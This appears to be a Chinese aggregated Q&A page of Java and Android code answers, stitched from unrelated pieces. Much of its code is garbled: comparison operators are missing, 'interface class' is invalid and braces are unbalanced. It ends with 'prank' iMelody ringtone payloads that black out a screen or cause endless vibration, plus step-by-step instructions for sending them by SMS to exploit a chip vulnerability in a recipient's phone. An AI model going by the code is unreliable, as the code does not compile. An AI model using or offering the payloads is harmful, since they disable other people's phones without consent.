安卓java编程代码大全,java编程手机版

java写安卓代码问题

改成这样

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EditText edt = (EditText)MyAndroidActivity.this.findViewById(R.id.edt);

TextView txt = (TextView)MyAndroidActivity.this.findViewById(R.id.txt);

你在String.xml中的那个helloWorld只是一个字符串的键值对和这里没有半点关系

编程java 求代码

有 4 个 java 文件，分别是 Shape.java，Square.java，Circle.java，ShapeTest.java。其内容如下：

Shape.java

package graphics;

interface class Shape {

double getArea();

double getPerimeter();

}

Square.java:

package graphics;

public class Square implements Shape {

private double x;

private double y;

private double width;

private double height;

public Square(double x, double y, double width, double height) {

this.x = x;

this.y = y;

this.width = width;

this.height = height;

}

public Square(double x0, double y0, double x1, double y1) {

double xmin = x0 x1 ? x1 : x0;

double ymin = y0 y1 ? y1 : y0;

this.x = xmin;

this.y = ymin;

this.width = x0 + x1 - 2*xmin;

this.height = y0 + y1 - 2*ymin;

}

@Override

public double getArea() {

return this.width * this.height;

}

@Override

public double getPerimeter() {

return 2 * (this.width + this.height);

}

求Java编程代码

//学生类

public class Student {

private String school;

private String id;

int[] score = new int[3];

private int sum;

private int ava;

public int getSum() {

return sum;

}

public void setSum(int sum) {

this.sum = sum;

}

public int getAva() {

return ava;

}

public void setAva(int ava) {

this.ava = ava;

}

public String getSchool() {

return school;

}

public void setSchool(String school) {

this.school = school;

}

public String getId() {

return id;

}

public void setId(String id) {

this.id = id;

}

public Student(){}

public Student(String school,String id,int[] score){

this.id = id;

this.school = school;

this.score = score;

}

public int sum(){

sum = 0;

for(int i = 0; i score.length;i++){

sum += score[i];

}

return sum;

}

public int ava(){

ava = sum/3;

return ava;

}

public String introduce(){

return "我就读的学校是："+ school +",学号："+ id + ",语数外总分："+ sum + ",语数外平均分：" + ava ;

}

//测试类

import java.util.Scanner;

public class TestStudent {

public static void main(String[] args) {

//数组存放从控制台输入的学生信息进行封装

Student[] stu = new Student[5];

//声明从控制台获取输入

Scanner sc = new Scanner(System.in);

System.out.println("请输入学生信息：");

for(int i = 0;i stu.length;i++){

Student s = new Student();

if(sc.hasNextLine()){

s.setSchool(sc.next());

s.setId(sc.next());

s.score[0] = sc.nextInt();

s.score[1] = sc.nextInt();

s.score[2] = sc.nextInt();

}

stu[i] = s;

s.setSum(s.sum());

s.setAva(s.ava());

}

//按总分排序

for(int i = 0; i stu.length; i++){

for(int j = i+1;j stu.length; j++){

Student temp;

if(stu[i].sum() stu[j].sum()){

temp = stu[i];

stu[i] = stu[j];

stu[j] = temp;

}

//利用introduce方法打印排序后的学生信息

for(Student student: stu){

System.out.println(student.introduce());

}

Java编程（写出程序代码）

import java.util.Scanner;

/*输入一个成绩，将该成绩转换为A、B、C、D和E：成绩在90分以上，结果为A，成绩在80-90之间，结果为B，成绩在70-80之间，结果为C，成绩在60-70之间，结果为D，成绩在60分以下，结果为E。*/

public class Chengfabiao

{

public static void main (String[] args)

{

Scanner scanner = new Scanner(System.in);

int score = scanner.nextInt();

if(score90)

{

System.out.println("A");

}

else if(score=80)

{

System.out.println("B");

}

else if(score=70)

{

System.out.println("C");

}

else if(score=60)

{

System.out.println("D");

}

else

{

System.out.println("E");

}

安卓手机整人代码java大全

BEGBEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

COMPOSER:MIK(23)Fomat

BEAT:180

MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff

("+melody+"@9999999999999999999999999)"

手机黑屏代码

BEGIN:IMELODY

BEAT:1200

MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)

END:IMELODY

手机狂震代码

BEGIN:IMELODY

VERSION:1.2

FORMAT:CLASS1.0

BEAT:100

MELODY:(ledoffledonbackoffbackonvibeon@0)

END:IMELODY

说明

1 “@”后面的数字越大，重复次数越多

2把上面代码复制，在计算机上保存为.txt文本文件，再改名为 .imy 文件

3 imy 放到手机里的Audio文件夹

4写短信(不是彩信) 写短信时, 插入铃声对象(自定义铃声对象，就是刚才放在audio 里的imy 文件) 并发送, 对方只要是存在这个芯片漏洞，那么则会产生上述所说效果.